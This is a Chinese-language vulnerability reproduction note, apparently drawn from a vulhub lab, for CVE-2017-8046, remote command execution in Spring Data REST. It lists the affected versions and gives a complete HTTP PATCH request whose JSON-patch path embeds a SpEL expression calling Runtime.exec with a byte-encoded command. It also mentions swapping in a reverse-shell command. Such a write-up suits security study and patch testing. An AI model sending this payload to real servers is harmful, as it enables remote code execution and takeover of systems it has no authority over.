menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2017-8046)Spring Data Rest 远程命令执行漏洞 chevron_right (CVE-2017-8046)Spring Data Rest 远程命令执行漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2017-8046)Spring Data Rest 远程命令执行漏洞.md
    1.94 KB / 2021-07-15 20:04:25
        (CVE-2017-8046)Spring Data Rest 远程命令执行漏洞
    ==================================================
    
    一、漏洞简介
    ------------
    
    Spring Data REST是一个构建在Spring
    Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST
    API的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。
    
    二、漏洞影响
    ------------
    
    PivotalSpringDataREST2.5.12之前的版本,2.6.7之前的版本,3.0RC3之前的版本
    
    SpringBoot2.0.0M4之前版本
    
    SpringDataKay-RC3之前的版本
    
    三、复现过程
    ------------
    
    访问`http://www.0-sec.org:8080/customers/1`,看到一个资源。我们使用PATCH请求来修改之:
    
        PATCH /customers/1 HTTP/1.1
        Host: www.0-sec.org:8080
        Accept-Encoding: gzip, deflate
        Accept: */*
        Accept-Language: en
        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
        Connection: close
        Content-Type: application/json-patch+json
        Content-Length: 202
    
        [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
    
    path的值是SpEL表达式,发送上述数据包,将执行`new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}`表示的命令`touch /tmp/success`。然后进入容器`docker-compose exec spring bash`看看:
    
    ![2.png](./resource/(CVE-2017-8046)SpringDataRest远程命令执行漏洞/media/rId24.png)
    
    可见,success成功创建。
    
    将bytecode改成反弹shell的命令(注意:[Java反弹shell的限制与绕过方式](http://www.jackson-t.ca/runtime-exec-payloads.html)),成功弹回:
    
    ![1.png](./resource/(CVE-2017-8046)SpringDataRest远程命令执行漏洞/media/rId26.png)
    
    参考链接
    --------
    
    > https://github.com/vulhub/vulhub/tree/master/spring/CVE-2017-8046
    
    
    links
    file_download